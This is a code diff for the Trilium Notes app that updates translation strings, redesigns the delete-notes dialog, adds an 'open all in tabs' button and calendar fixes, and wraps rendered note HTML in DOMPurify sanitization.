"delete_all_clones_description": "同時刪除所有克隆(可以在最近修改中撤消)",
"erase_notes_description": "通常(軟)刪除僅標記筆記為已刪除,可以在一段時間內透過最近修改對話方塊撤消。勾選此選項將立即擦除筆記,無法撤銷。",
"erase_notes_warning": "永久擦除筆記(無法撤銷),包括所有克隆。這將強制應用程式重新載入。",
@@ -96,8 +95,6 @@
"no_note_to_delete": "沒有筆記將被刪除(僅克隆)。",
"broken_relations_to_be_deleted": "將刪除以下關聯並斷開連接 ({{ relationCount}})",
"cancel": "取消",
"ok": "確定",
"deleted_relation_text": "筆記 {{- note}}(將被刪除的筆記)被以下關聯 {{- relation}} 引用,來自 {{- source}}。",
"close": "關閉"
},
"export": {
@@ -803,7 +800,10 @@
"expand_first_level": "展開直接子級",
"expand_nth_level": "展開 {{depth}} 層",
"expand_all_levels": "展開所有層級",
"hide_child_notes": "隱藏樹中的子筆記"
"hide_child_notes": "隱藏樹中的子筆記",
"open_all_in_tabs": "全部打開",
"open_all_in_tabs_tooltip": "在新分頁中開啟所有結果",
"open_all_confirm": "這將在新分頁中開啟 {{count}} 則筆記。要繼續嗎?"
},
"edited_notes": {
"no_edited_notes_found": "今天還沒有編輯過的筆記...",
@@ -857,7 +857,8 @@
"collapse": "收摺到正常大小",
"title": "筆記地圖",
"fix-nodes": "固定節點",
"link-distance": "連結距離"
"link-distance": "連結距離",
"too-many-notes": "此子樹包含 {{count}} 則筆記,已超過筆記地圖中可顯示的 {{max}} 則上限。"
},
"note_paths": {
"title": "筆記路徑",
@@ -1062,7 +1063,8 @@
"note_already_in_diagram": "筆記 \"{{title}}\" 已經在圖中。",
"enter_title_of_new_note": "輸入新筆記的標題",
"default_new_note_title": "新筆記",
"click_on_canvas_to_place_new_note": "點擊畫布以放置新筆記"
"click_on_canvas_to_place_new_note": "點擊畫布以放置新筆記",
"rename_relation": "重新命名關聯"
},
"backend_log": {
"refresh": "重新整理"
@@ -1331,7 +1333,8 @@
"date-and-time": "日期和時間",
"path": "路徑",
"database_backed_up_to": "資料庫已備份至 {{backupFilePath}}",
"no_backup_yet": "尚無備份"
"no_backup_yet": "尚無備份",
"download": "下載"
},
"etapi": {
"title": "ETAPI",
@@ -1396,9 +1399,15 @@
"spellcheck": {
"title": "拼寫檢查",
"description": "這些選項僅適用於桌面版,瀏覽器將使用其原生的拼寫檢查功能。",
"enable": "啟用拼寫檢查",
"language_code_label": "語言代碼",
"restart-required": "拼寫檢查選項的更改將在應用重啟後生效。"
"enable": "拼寫檢查",
"language_code_label": "拼寫檢查語言",
"restart-required": "拼寫檢查選項的更改將在應用重啟後生效。",
"custom_dictionary_title": "自訂字典",
"custom_dictionary_description": "新增至字典的詞彙會同步至您所有的裝置。",
"custom_dictionary_edit": "自訂詞彙",
"custom_dictionary_edit_description": "編輯拼寫檢查器不應標記的詞彙清單。變更將於重新啟動後生效。",
"custom_dictionary_open": "編輯字典",
"related_description": "設定拼寫檢查語言及自訂字典。"
},
"sync_2": {
"config_title": "同步設定",
@@ -1414,7 +1423,7 @@
"test_description": "測試和同步伺服器之間的連接。如果同步伺服器沒有初始化,這會將本地文件同步至同步伺服器上。",
"test_button": "測試同步",
"handshake_failed": "同步伺服器握手失敗,錯誤:{{message}}",
"timeout_unit": "毫秒"
"timeout_description": "在放棄慢速同步連線前應等待多久。若網路不穩定,請延長等待時間。"
},
"api_log": {
"close": "關閉"
@@ -2285,7 +2294,7 @@
"ocr": {
"processing_complete": "OCR 處理已完成。",
"processing_failed": "無法啟動 OCR 處理",
"text_filtered_low_confidence": "OCR 偵測到的信賴度為 {{confidence}}%,但因您的最低閾值設定為 {{threshold}}%,故該結果已被捨棄。",
"text_filtered_low_confidence": "OCR 偵測到的文字信賴度為 {{confidence}}%,但因您的最低閾值設定為 {{threshold}}%,故該結果已被捨棄。",
"open_media_settings": "開啟設定",
"view_extracted_text": "檢視擷取的文字 (OCR)",
"extracted_text": "已擷取的文字 (OCR)",

View File

@@ -186,7 +186,6 @@
"also_delete_note": "Також видалити нотатку"
},
"delete_notes": {
"delete_notes_preview": "Видалити попередній перегляд нотаток",
"close": "Закрити",
"delete_all_clones_description": "Видалити також усі клони (можна скасувати в останніх змінах)",
"erase_notes_description": "Звичайне (м’яке) видалення лише позначає нотатки як видалені і їх можна відновити (у діалоговому вікні останніх змін) протягом певного періоду часу. Якщо позначити цю опцію, нотатки будуть видалені негайно і їх неможливо буде відновити.",
@@ -194,9 +193,7 @@
"notes_to_be_deleted": "Наступні нотатки будуть видалені ({{notesCount}})",
"no_note_to_delete": "Жодну нотатку не буде видалено (лише клони).",
"broken_relations_to_be_deleted": "Наступні зв'язки будуть розірвані та видалені ({{ relationCount}})",
"cancel": "Скасувати",
"ok": "ОК",
"deleted_relation_text": "Нотатка {{- note}} (буде видалена) посилається на зв'язок {{- relation}}, що походить з {{- source}}."
"cancel": "Скасувати"
},
"export": {
"export_note_title": "Експорт нотатки",
@@ -1750,7 +1747,6 @@
"config_title": "Конфігурація синхронізації",
"server_address": "Адреса екземпляра сервера",
"timeout": "Тайм-аут синхронізації",
"timeout_unit": "мілісекунди",
"proxy_label": "Синхронізація проксі-сервера (необов'язково)",
"note": "Нотатка",
"note_description": "Якщо залишити налаштування проксі-сервера порожнім, буде використано системний проксі-сервер (стосується лише збірки для ПК/електронної версії).",

View File

@@ -27,7 +27,6 @@
},
"delete_notes": {
"close": "Đóng",
"ok": "OK",
"cancel": "Huỷ"
},
"export": {

View File

@@ -87,7 +87,7 @@ function buildUserAttribute(attr: AttributeWithDefinitions): ComponentChildren {
content = <><Icon icon={value === "true" ? "bx bx-check-square" : "bx bx-square"} />{" "}<strong>{attr.friendlyName}</strong></>;
break;
case "url":
content = <a href={value} target="_blank" rel="noopener noreferrer">{attr.friendlyName}</a>;
content = <a href={value} target="_blank" rel="noopener noreferrer" onClick={(e) => e.stopPropagation()}>{attr.friendlyName}</a>;
break;
case "color":
style = { backgroundColor: value, color: getReadableTextColor(value) };

View File

@@ -180,11 +180,13 @@ export function useNoteIds(note: FNote | null | undefined, viewType: ViewTypeOpt
// Refresh on alterations to the note subtree.
useTriliumEvent("entitiesReloaded", ({ loadResults }) => {
if (note && loadResults.getBranchRows().some(branch =>
branch.parentNoteId === note.noteId
|| noteIds.includes(branch.parentNoteId ?? ""))
if (note && (
loadResults.getNoteReorderings().includes(note.noteId)
|| loadResults.getBranchRows().some(branch =>
branch.parentNoteId === note.noteId
|| noteIds.includes(branch.parentNoteId ?? ""))
|| loadResults.getAttributeRows().some(attr => attr.name === "archived" && attr.noteId && noteIds.includes(attr.noteId))
) {
)) {
refreshNoteIds();
}
});

View File

@@ -27,7 +27,7 @@ describe("Board data", () => {
froca.branches["note1_note2"] = branch;
froca.getNoteFromCache("note1")!.addChild("note2", "note1_note2", false);
const data = await getBoardData(parentNote, "status", {}, false);
const noteIds = Array.from(data.byColumn.values()).flat().map(item => item.note.noteId);
const noteIds = [...data.byColumn.values()].flat().map(item => item.note.noteId);
expect(noteIds.length).toBe(3);
});
});

View File

@@ -75,7 +75,7 @@ export async function buildEventsForCalendar(note: FNote, e: EventSourceFuncArg)
if (dateNote.hasChildren()) {
const childNoteIds = await dateNote.getSubtreeNoteIds();
const childNoteIds = dateNote.getChildNoteIds();
for (const childNoteId of childNoteIds) {
childNoteToDateMapping[childNoteId] = startDate;
}

View File

@@ -144,7 +144,12 @@ export default function CalendarView({ note, noteIds }: ViewModeProps<CalendarVi
const event = api.getEventById(noteId);
const note = froca.getNoteFromCache(noteId);
if (!event || !note) continue;
event.setProp("title", note.title);
// Only update the title if it has actually changed.
// setProp() triggers FullCalendar's eventChange callback, which would
// re-save the event's dates and cause unwanted side effects.
if (event.title !== note.title) {
event.setProp("title", note.title);
}
}
});
@@ -299,6 +304,12 @@ function useEditing(note: FNote, isEditable: boolean, isCalendarRoot: boolean, c
}, [ note, componentId ]);
const onEventChange = useCallback(async (e: EventChangeArg) => {
// Only process actual date/time changes, not other property changes (e.g., title via setProp).
const datesChanged = e.oldEvent.start?.getTime() !== e.event.start?.getTime()
|| e.oldEvent.end?.getTime() !== e.event.end?.getTime()
|| e.oldEvent.allDay !== e.event.allDay;
if (!datesChanged) return;
const { startDate, endDate } = parseStartEndDateFromEvent(e.event);
if (!startDate) return;

View File

@@ -4,6 +4,7 @@ import type FNote from "../../../entities/fnote";
import type { PrintReport } from "../../../print";
import content_renderer from "../../../services/content_renderer";
import froca from "../../../services/froca";
import { sanitizeNoteContentHtml } from "../../../services/sanitize_content";
import type { ViewModeProps } from "../interface";
import { filterChildNotes, useFilteredNoteIds } from "./utils";
@@ -87,7 +88,7 @@ export function ListPrintView({ note, noteIds: unfilteredNoteIds, onReady, onPro
<h1>{note.title}</h1>
{state.notesWithContent?.map(({ note: childNote, contentEl }) => (
<section id={`note-${childNote.noteId}`} class="note" dangerouslySetInnerHTML={{ __html: contentEl.innerHTML }} />
<section id={`note-${childNote.noteId}`} class="note" dangerouslySetInnerHTML={{ __html: sanitizeNoteContentHtml(contentEl.innerHTML) }} />
))}
</div>
</div>

View File

@@ -1,6 +1,7 @@
import { NoteType } from "@triliumnext/commons";
import FNote from "../../../entities/fnote";
import contentRenderer from "../../../services/content_renderer";
import { sanitizeNoteContentHtml } from "../../../services/sanitize_content";
import { ProgressChangedFn } from "../interface";
type DangerouslySetInnerHTML = { __html: string; };
@@ -72,7 +73,7 @@ async function processContent(note: FNote): Promise<DangerouslySetInnerHTML> {
const { $renderedContent } = await contentRenderer.getRenderedContent(note, {
noChildrenList: true
});
return { __html: $renderedContent.html() };
return { __html: sanitizeNoteContentHtml($renderedContent.html()) };
}
async function postProcessSlides(slides: (PresentationSlideModel | PresentationSlideBaseModel)[]) {

View File

@@ -51,6 +51,8 @@ export default function useRowTableEditing(api: RefObject<Tabulator>, attributeD
if (type === "labels") {
if (typeof newValue === "boolean") {
newValue = newValue ? "true" : "false";
} else if (typeof newValue === "number") {
newValue = String(newValue);
}
setLabel(noteId, name, newValue);
} else if (type === "relations") {

View File

@@ -0,0 +1,30 @@
.delete-notes-dialog .tn-card {
margin-bottom: 16px;
}
.delete-notes-dialog .tn-card:last-child {
margin-bottom: 0;
}
.delete-notes-dialog .preview-list {
margin: 0;
padding: 0;
list-style: none;
max-height: 200px;
overflow: auto;
}
.delete-notes-dialog .preview-list li {
padding: 6px 16px;
border-bottom: 1px solid var(--main-border-color);
}
.delete-notes-dialog .preview-list li:last-child {
border-bottom: none;
}
.delete-notes-dialog .preview-list small {
margin-inline-start: 8px;
font-size: 0.8em;
color: var(--muted-text-color);
}

View File

@@ -1,15 +1,22 @@
import { useRef, useState, useEffect } from "preact/hooks";
import { t } from "../../services/i18n.js";
import FormCheckbox from "../react/FormCheckbox.js";
import Modal from "../react/Modal.js";
import "./delete_notes.css";
import type { DeleteNotesPreview } from "@triliumnext/commons";
import server from "../../services/server.js";
import { useEffect, useRef, useState } from "preact/hooks";
import froca from "../../services/froca.js";
import FNote from "../../entities/fnote.js";
import link from "../../services/link.js";
import { t } from "../../services/i18n.js";
import server from "../../services/server.js";
import Button from "../react/Button.jsx";
import Alert from "../react/Alert.jsx";
import { Card, CardSection } from "../react/Card.js";
import FormToggle from "../react/FormToggle.js";
import { useTriliumEvent } from "../react/hooks.jsx";
import Modal from "../react/Modal.js";
import NoteLink from "../react/NoteLink.js";
import OptionsRow from "../type_widgets/options/components/OptionsRow.js";
interface CloneInfo {
totalCloneCount: number;
}
export interface ResolveOptions {
proceed: boolean;
@@ -24,9 +31,9 @@ interface ShowDeleteNotesDialogOpts {
}
interface BrokenRelationData {
note: string;
relation: string;
source: string;
noteId: string;
relationName: string;
sourceNoteId: string;
}
export default function DeleteNotesDialog() {
@@ -34,20 +41,51 @@ export default function DeleteNotesDialog() {
const [ deleteAllClones, setDeleteAllClones ] = useState(false);
const [ eraseNotes, setEraseNotes ] = useState(!!opts.forceDeleteAllClones);
const [ brokenRelations, setBrokenRelations ] = useState<DeleteNotesPreview["brokenRelations"]>([]);
const [ noteIdsToBeDeleted, setNoteIdsToBeDeleted ] = useState<DeleteNotesPreview["noteIdsToBeDeleted"]>([]);
const [ noteIdsToBeDeleted, setNoteIdsToBeDeleted ] = useState<DeleteNotesPreview["noteIdsToBeDeleted"]>([]);
const [ shown, setShown ] = useState(false);
const [ cloneInfo, setCloneInfo ] = useState<CloneInfo>({ totalCloneCount: 0 });
const okButtonRef = useRef<HTMLButtonElement>(null);
useTriliumEvent("showDeleteNotesDialog", (opts) => {
setOpts(opts);
setDeleteAllClones(false);
setEraseNotes(!!opts.forceDeleteAllClones);
setShown(true);
})
});
// Calculate clone information when branches change
useEffect(() => {
const { branchIdsToDelete } = opts;
if (!branchIdsToDelete || branchIdsToDelete.length === 0) {
setCloneInfo({ totalCloneCount: 0 });
return;
}
async function calculateCloneInfo() {
const branches = froca.getBranches(branchIdsToDelete!, true);
const uniqueNoteIds = [...new Set(branches.map(b => b.noteId))];
const notes = await froca.getNotes(uniqueNoteIds);
let totalCloneCount = 0;
for (const note of notes) {
const parentBranches = note.getParentBranches();
// Clones are additional parent branches beyond the one being deleted
const otherBranches = parentBranches.filter(b => !branchIdsToDelete!.includes(b.branchId));
totalCloneCount += otherBranches.length;
}
setCloneInfo({ totalCloneCount });
}
calculateCloneInfo();
}, [opts.branchIdsToDelete]);
useEffect(() => {
const { branchIdsToDelete, forceDeleteAllClones } = opts;
if (!branchIdsToDelete || branchIdsToDelete.length === 0) {
return;
}
}
server.post<DeleteNotesPreview>("delete-notes-preview", {
branchIdsToDelete,
@@ -63,16 +101,16 @@ export default function DeleteNotesDialog() {
className="delete-notes-dialog"
size="xl"
scrollable
title={t("delete_notes.delete_notes_preview")}
title={t("delete_notes.title")}
onShown={() => okButtonRef.current?.focus()}
onHidden={() => {
opts.callback?.({ proceed: false })
opts.callback?.({ proceed: false });
setShown(false);
}}
footer={<>
<Button text={t("delete_notes.cancel")}
onClick={() => setShown(false)} />
<Button text={t("delete_notes.ok")} kind="primary"
<Button text={t("delete_notes.delete")} kind="primary"
buttonRef={okButtonRef}
onClick={() => {
opts.callback?.({ proceed: true, deleteAllClones, eraseNotes });
@@ -81,92 +119,117 @@ export default function DeleteNotesDialog() {
</>}
show={shown}
>
<FormCheckbox name="delete-all-clones" label={t("delete_notes.delete_all_clones_description")}
currentValue={deleteAllClones} onChange={setDeleteAllClones}
/>
<FormCheckbox
name="erase-notes" label={t("delete_notes.erase_notes_warning")}
disabled={opts.forceDeleteAllClones}
currentValue={eraseNotes} onChange={setEraseNotes}
/>
<Card>
<CardSection>
<DeleteAllClonesOption
cloneInfo={cloneInfo}
deleteAllClones={deleteAllClones}
setDeleteAllClones={setDeleteAllClones}
/>
<OptionsRow
name="erase-notes"
label={t("delete_notes.erase_notes_label")}
description={t("delete_notes.erase_notes_description")}
>
<FormToggle
disabled={opts.forceDeleteAllClones}
currentValue={eraseNotes}
onChange={setEraseNotes}
/>
</OptionsRow>
</CardSection>
</Card>
<DeletedNotes noteIdsToBeDeleted={noteIdsToBeDeleted} />
<BrokenRelations brokenRelations={brokenRelations} />
<DeletedNotes noteIdsToBeDeleted={noteIdsToBeDeleted} />
</Modal>
);
}
function DeletedNotes({ noteIdsToBeDeleted }: { noteIdsToBeDeleted: DeleteNotesPreview["noteIdsToBeDeleted"] }) {
const [ noteLinks, setNoteLinks ] = useState<string[]>([]);
interface DeleteAllClonesOptionProps {
cloneInfo: CloneInfo;
deleteAllClones: boolean;
setDeleteAllClones: (value: boolean) => void;
}
useEffect(() => {
froca.getNotes(noteIdsToBeDeleted).then(async (notes: FNote[]) => {
const noteLinks: string[] = [];
function DeleteAllClonesOption({ cloneInfo, deleteAllClones, setDeleteAllClones }: DeleteAllClonesOptionProps) {
const { totalCloneCount } = cloneInfo;
for (const note of notes) {
noteLinks.push((await link.createLink(note.noteId, { showNotePath: true })).html());
}
setNoteLinks(noteLinks);
});
}, [noteIdsToBeDeleted]);
if (noteIdsToBeDeleted.length) {
return (
<div className="delete-notes-list-wrapper" style={{paddingTop: "16px"}}>
<h4>{t("delete_notes.notes_to_be_deleted", { notesCount: noteIdsToBeDeleted.length })}</h4>
<ul className="delete-notes-list" style={{ maxHeight: "200px", overflow: "auto"}}>
{noteLinks.map((link, index) => (
<li key={index} dangerouslySetInnerHTML={{ __html: link }} />
))}
</ul>
</div>
);
} else {
return (
<Alert type="info">
{t("delete_notes.no_note_to_delete")}
</Alert>
)
if (totalCloneCount === 0) {
return null;
}
return (
<OptionsRow
name="delete-all-clones"
label={t("delete_notes.clones_label")}
description={t("delete_notes.delete_clones_description", { count: totalCloneCount })}
>
<FormToggle
currentValue={deleteAllClones}
onChange={setDeleteAllClones}
/>
</OptionsRow>
);
}
function DeletedNotes({ noteIdsToBeDeleted }: { noteIdsToBeDeleted: DeleteNotesPreview["noteIdsToBeDeleted"] }) {
return (
<Card heading={t("delete_notes.notes_to_be_deleted", { notesCount: noteIdsToBeDeleted.length })}>
<CardSection noPadding={noteIdsToBeDeleted.length > 0}>
{noteIdsToBeDeleted.length ? (
<ul className="preview-list">
{noteIdsToBeDeleted.map((noteId) => (
<li key={noteId}>
<NoteLink notePath={noteId} showNotePath showNoteIcon />
</li>
))}
</ul>
) : (
<span className="muted-text">{t("delete_notes.no_note_to_delete")}</span>
)}
</CardSection>
</Card>
);
}
function BrokenRelations({ brokenRelations }: { brokenRelations: DeleteNotesPreview["brokenRelations"] }) {
const [ notesWithBrokenRelations, setNotesWithBrokenRelations ] = useState<BrokenRelationData[]>([]);
useEffect(() => {
const noteIds = brokenRelations
.map(relation => relation.noteId)
.filter(noteId => noteId) as string[];
froca.getNotes(noteIds).then(async () => {
const notesWithBrokenRelations: BrokenRelationData[] = [];
for (const attr of brokenRelations) {
notesWithBrokenRelations.push({
note: (await link.createLink(attr.value)).html(),
relation: `<code>${attr.name}</code>`,
source: (await link.createLink(attr.noteId)).html()
});
}
setNotesWithBrokenRelations(notesWithBrokenRelations);
});
}, [brokenRelations]);
if (brokenRelations.length) {
return (
<Alert type="danger" title={t("delete_notes.broken_relations_to_be_deleted", { relationCount: brokenRelations.length })}>
<ul className="broken-relations-list" style={{ maxHeight: "200px", overflow: "auto" }}>
{brokenRelations.map((_, index) => {
return (
<li key={index}>
<span dangerouslySetInnerHTML={{ __html: t("delete_notes.deleted_relation_text", notesWithBrokenRelations[index] as unknown as Record<string, string>) }} />
</li>
);
})}
</ul>
</Alert>
);
} else {
return <></>;
if (!brokenRelations.length) {
return null;
}
const relationsData: BrokenRelationData[] = brokenRelations
.filter((attr) => attr.value && attr.noteId)
.map((attr) => ({
noteId: attr.value!,
relationName: attr.name,
sourceNoteId: attr.noteId!
}));
return (
<Card heading={t("delete_notes.broken_relations_to_be_deleted", { relationCount: brokenRelations.length })}>
<CardSection noPadding>
<div style={{ overflowX: "auto" }}>
<table className="table table-striped">
<thead>
<tr>
<th>{t("delete_notes.table_note_with_relation")}</th>
<th>{t("delete_notes.table_relation")}</th>
<th>{t("delete_notes.table_points_to")}</th>
</tr>
</thead>
<tbody>
{relationsData.map((relation, index) => (
<tr key={index}>
<td><NoteLink notePath={relation.sourceNoteId} showNoteIcon /></td>
<td><code>{relation.relationName}</code></td>
<td><NoteLink notePath={relation.noteId} showNoteIcon /></td>
</tr>
))}
</tbody>
</table>
</div>
</CardSection>
</Card>
);
}

View File

@@ -8,7 +8,7 @@ import Button from "../react/Button";
import { Suggestion, triggerRecentNotes } from "../../services/note_autocomplete";
import tree from "../../services/tree";
import froca from "../../services/froca";
import { useTriliumEvent } from "../react/hooks";
import { useTriliumEvent, useTriliumOption } from "../react/hooks";
import { type BoxSize, CKEditorApi } from "../type_widgets/text/CKEditorWithWatchdog";
export interface IncludeNoteOpts {
@@ -18,11 +18,13 @@ export interface IncludeNoteOpts {
export default function IncludeNoteDialog() {
const editorApiRef = useRef<CKEditorApi>(null);
const [suggestion, setSuggestion] = useState<Suggestion | null>(null);
const [boxSize, setBoxSize] = useState<string>("medium");
const [defaultBoxSize, setDefaultBoxSize] = useTriliumOption("includeNoteDefaultBoxSize");
const [boxSize, setBoxSize] = useState<string>(defaultBoxSize);
const [shown, setShown] = useState(false);
useTriliumEvent("showIncludeNoteDialog", ({ editorApi }) => {
editorApiRef.current = editorApi;
setBoxSize(defaultBoxSize); // Reset to default when opening dialog
setShown(true);
});
@@ -35,10 +37,14 @@ export default function IncludeNoteDialog() {
size="lg"
onShown={() => triggerRecentNotes(autoCompleteRef.current)}
onHidden={() => setShown(false)}
onSubmit={() => {
onSubmit={async () => {
if (!suggestion?.notePath || !editorApiRef.current) return;
setShown(false);
includeNote(suggestion.notePath, editorApiRef.current, boxSize as BoxSize);
await includeNote(suggestion.notePath, editorApiRef.current, boxSize as BoxSize);
// Save the selected box size as the new default
if (boxSize !== defaultBoxSize) {
setDefaultBoxSize(boxSize);
}
}}
footer={<Button text={t("include_note.button_include")} keyboardShortcut="Enter" />}
show={shown}
@@ -63,6 +69,7 @@ export default function IncludeNoteDialog() {
{ label: t("include_note.box_size_small"), value: "small" },
{ label: t("include_note.box_size_medium"), value: "medium" },
{ label: t("include_note.box_size_full"), value: "full" },
{ label: t("include_note.box_size_expandable"), value: "expandable" },
]}
/>
</FormGroup>

View File

@@ -80,9 +80,19 @@ export default function JumpToNoteDialogComponent() {
break;
}
$autoComplete
.trigger("focus")
.trigger("select");
$autoComplete.trigger("focus");
if (mode === "commands") {
// In command mode, place caret at end instead of selecting all text
// This preserves the ">" prefix when the user starts typing
const input = autocompleteRef.current;
if (input) {
const len = input.value.length;
input.setSelectionRange(len, len);
}
} else {
$autoComplete.trigger("select");
}
// Add keyboard shortcut for full search
shortcutService.bindElShortcut($autoComplete, "ctrl+return", () => {

View File

@@ -14,6 +14,7 @@ import { t } from "../../services/i18n";
import { renderMathInElement } from "../../services/math";
import open from "../../services/open";
import options from "../../services/options";
import { sanitizeNoteContentHtml } from "../../services/sanitize_content.js";
import protected_session_holder from "../../services/protected_session_holder";
import server from "../../services/server";
import toast from "../../services/toast";
@@ -291,7 +292,7 @@ function RevisionContentText({ content }: { content: string | Buffer<ArrayBuffer
renderMathInElement(contentRef.current, { trust: true });
}
}, [content]);
return <RawHtmlBlock containerRef={contentRef} className="ck-content" html={content as string} />;
return <RawHtmlBlock containerRef={contentRef} className="ck-content" html={sanitizeNoteContentHtml(content as string)} />;
}
function RevisionContentDiff({ noteContent, itemContent, itemType }: {

View File

@@ -13,6 +13,35 @@ import katex from "../services/math.js";
import options from "../services/options.js";
import OnClickButtonWidget from "./buttons/onclick_button.js";
import RightPanelWidget from "./right_panel_widget.js";
import DOMPurify, { type Config as DOMPurifyConfig } from "dompurify";
/**
* DOMPurify configuration for highlight list items. Uses built-in HTML and
* MathML profiles for proper namespace handling (KaTeX equations), then
* restricts to inline-only elements via FORBID_TAGS.
*/
const HIGHLIGHT_PURIFY_CONFIG: DOMPurifyConfig = {
USE_PROFILES: { html: true, mathMl: true },
FORBID_TAGS: [
"script", "style", "iframe", "object", "embed", "link", "meta",
"base", "noscript", "template", "form", "input", "textarea",
"button", "select", "option",
"div", "p", "h1", "h2", "h3", "h4", "h5", "h6",
"blockquote", "pre", "section", "article", "aside", "nav",
"header", "footer", "main", "figure", "figcaption",
"table", "thead", "tbody", "tfoot", "tr", "th", "td",
"ul", "ol", "li", "dl", "dt", "dd",
"hr", "img", "video", "audio", "picture", "canvas",
"svg", "foreignObject"
],
FORBID_ATTR: [
"onerror", "onload", "onclick", "onmouseover", "onfocus",
"onblur", "onsubmit", "onreset", "onchange", "oninput",
"onkeydown", "onkeyup", "onkeypress"
],
RETURN_DOM: false,
RETURN_DOM_FRAGMENT: false
};
const TPL = /*html*/`<div class="highlights-list-widget">
<style>
@@ -255,11 +284,8 @@ export default class HighlightsListWidget extends RightPanelWidget {
if (prevEndIndex !== -1 && startIndex === prevEndIndex) {
// If the previous element is connected to this element in HTML, then concatenate them into one.
$highlightsList.children().last().append(subHtml);
$highlightsList.children().last().append(DOMPurify.sanitize(subHtml, HIGHLIGHT_PURIFY_CONFIG) as string);
} else {
// TODO: can't be done with $(subHtml).text()?
//Cant remember why regular expressions are used here, but modified to $(subHtml).text() works as expected
//const hasText = [...subHtml.matchAll(/(?<=^|>)[^><]+?(?=<|$)/g)].map(matchTmp => matchTmp[0]).join('').trim();
const hasText = $(subHtml).text().trim();
if (hasText) {
@@ -267,12 +293,12 @@ export default class HighlightsListWidget extends RightPanelWidget {
//If the two elements have the same style and there are only formulas in between, append the formulas and the current element to the end of the previous element.
if (this.areOuterTagsConsistent(prevSubHtml, subHtml) && onlyMathRegex.test(substring)) {
const $lastLi = $highlightsList.children("li").last();
$lastLi.append(await this.replaceMathTextWithKatax(substring));
$lastLi.append(subHtml);
$lastLi.append(DOMPurify.sanitize(await this.replaceMathTextWithKatax(substring), HIGHLIGHT_PURIFY_CONFIG) as string);
$lastLi.append(DOMPurify.sanitize(subHtml, HIGHLIGHT_PURIFY_CONFIG) as string);
} else {
$highlightsList.append(
$("<li>")
.html(subHtml)
.html(DOMPurify.sanitize(subHtml, HIGHLIGHT_PURIFY_CONFIG) as string)
.on("click", () => this.jumpToHighlightsList(findSubStr, hltIndex))
);
}

View File

@@ -2,10 +2,13 @@ import "./CollectionProperties.css";
import { t } from "i18next";
import { ComponentChildren } from "preact";
import { useRef } from "preact/hooks";
import { useRef, useState } from "preact/hooks";
import FNote from "../../entities/fnote";
import appContext from "../../components/app_context";
import dialogService from "../../services/dialog";
import { ViewTypeOptions } from "../collections/interface";
import ActionButton from "../react/ActionButton";
import Dropdown from "../react/Dropdown";
import { FormDropdownDivider, FormListItem } from "../react/FormList";
import { useNoteProperty, useTriliumEvent } from "../react/hooks";
@@ -24,6 +27,8 @@ export const ICON_MAPPINGS: Record<ViewTypeOptions, string> = {
presentation: "bx bx-rectangle"
};
const MAX_OPEN_TABS = 50;
export default function CollectionProperties({ note, centerChildren, rightChildren }: {
note: FNote;
centerChildren?: ComponentChildren;
@@ -31,6 +36,7 @@ export default function CollectionProperties({ note, centerChildren, rightChildr
}) {
const [ viewType, setViewType ] = useViewType(note);
const noteType = useNoteProperty(note, "type");
const [ isOpening, setIsOpening ] = useState(false);
return ([ "book", "search" ].includes(noteType ?? "") &&
<div className="collection-properties">
@@ -43,11 +49,59 @@ export default function CollectionProperties({ note, centerChildren, rightChildr
</div>
<div className="right-container">
{rightChildren}
{noteType === "search" && (
<OpenAllButton note={note} isOpening={isOpening} setIsOpening={setIsOpening} />
)}
</div>
</div>
);
}
function OpenAllButton({ note, isOpening, setIsOpening }: {
note: FNote;
isOpening: boolean;
setIsOpening: (value: boolean) => void;
}) {
const noteIds = note.getChildNoteIds();
const count = noteIds.length;
const handleOpenAll = async () => {
if (count === 0) return;
if (count > MAX_OPEN_TABS) {
await dialogService.info(t("book_properties.open_all_too_many", { count, max: MAX_OPEN_TABS }));
return;
}
if (count > 10) {
const confirmed = await dialogService.confirm(t("book_properties.open_all_confirm", { count }));
if (!confirmed) return;
}
setIsOpening(true);
try {
for (let i = 0; i < noteIds.length; i++) {
const noteId = noteIds[i];
const isLast = i === noteIds.length - 1;
await appContext.tabManager.openTabWithNoteWithHoisting(noteId, {
activate: isLast
});
}
} finally {
setIsOpening(false);
}
};
return (
<ActionButton
icon={isOpening ? "bx bx-loader-alt bx-spin" : "bx bx-window-open"}
text={t("book_properties.open_all_in_tabs_tooltip")}
onClick={handleOpenAll}
disabled={count === 0 || isOpening}
/>
);
}
function ViewTypeSwitcher({ viewType, setViewType }: { viewType: ViewTypeOptions, setViewType: (newValue: ViewTypeOptions) => void }) {
// Keyboard shortcut
const dropdownContainerRef = useRef<HTMLDivElement>(null);

View File

@@ -42,8 +42,11 @@ export default function NoteIcon() {
setIcon(note?.getIcon());
}, [ note, iconClass, workspaceIconClass ]);
const isDisabled = viewScope?.viewMode !== "default"
|| note?.isMetadataReadOnly;
if (isMobile()) {
return <MobileNoteIconSwitcher note={note} icon={icon} />;
return <MobileNoteIconSwitcher note={note} icon={icon} disabled={isDisabled} />;
}
return (
@@ -55,16 +58,17 @@ export default function NoteIcon() {
dropdownOptions={{ autoClose: "outside" }}
buttonClassName={`note-icon tn-focusable-button ${icon ?? "bx bx-empty"}`}
hideToggleArrow
disabled={viewScope?.viewMode !== "default"}
disabled={isDisabled}
>
{ note && <NoteIconList note={note} onHide={() => dropdownRef?.current?.hide()} columnCount={12} /> }
</Dropdown>
);
}
function MobileNoteIconSwitcher({ note, icon }: {
function MobileNoteIconSwitcher({ note, icon, disabled }: {
note: FNote | null | undefined;
icon: string | null | undefined;
disabled?: boolean;
}) {
const [ modalShown, setModalShown ] = useState(false);
const { windowWidth } = useWindowSize();
@@ -76,6 +80,7 @@ function MobileNoteIconSwitcher({ note, icon }: {
icon={icon ?? "bx bx-empty"}
text={t("note_icon.change_note_icon")}
onClick={() => setModalShown(true)}
disabled={disabled}
/>
{createPortal((

View File

@@ -1,5 +1,5 @@
.note-detail-note-map {
height: 100%;
height: 100%;
overflow: hidden;
}
@@ -54,4 +54,4 @@
width: 10px;
}
/* End of styling the slider */
/* End of styling the slider */

View File

@@ -12,11 +12,15 @@ import { t } from "../../services/i18n";
import { getEffectiveThemeStyle } from "../../services/theme";
import ActionButton from "../react/ActionButton";
import { useElementSize, useNoteLabel } from "../react/hooks";
import NoItems from "../react/NoItems";
import Slider from "../react/Slider";
import { loadNotesAndRelations, NoteMapLinkObject, NoteMapNodeObject, NotesAndRelationsData } from "./data";
import { CssData, setupRendering } from "./rendering";
import { MapType, NoteMapWidgetMode, rgb2hex } from "./utils";
/** Maximum number of notes to render in the note map before showing a warning. */
const MAX_NOTES_THRESHOLD = 1_000;
interface NoteMapProps {
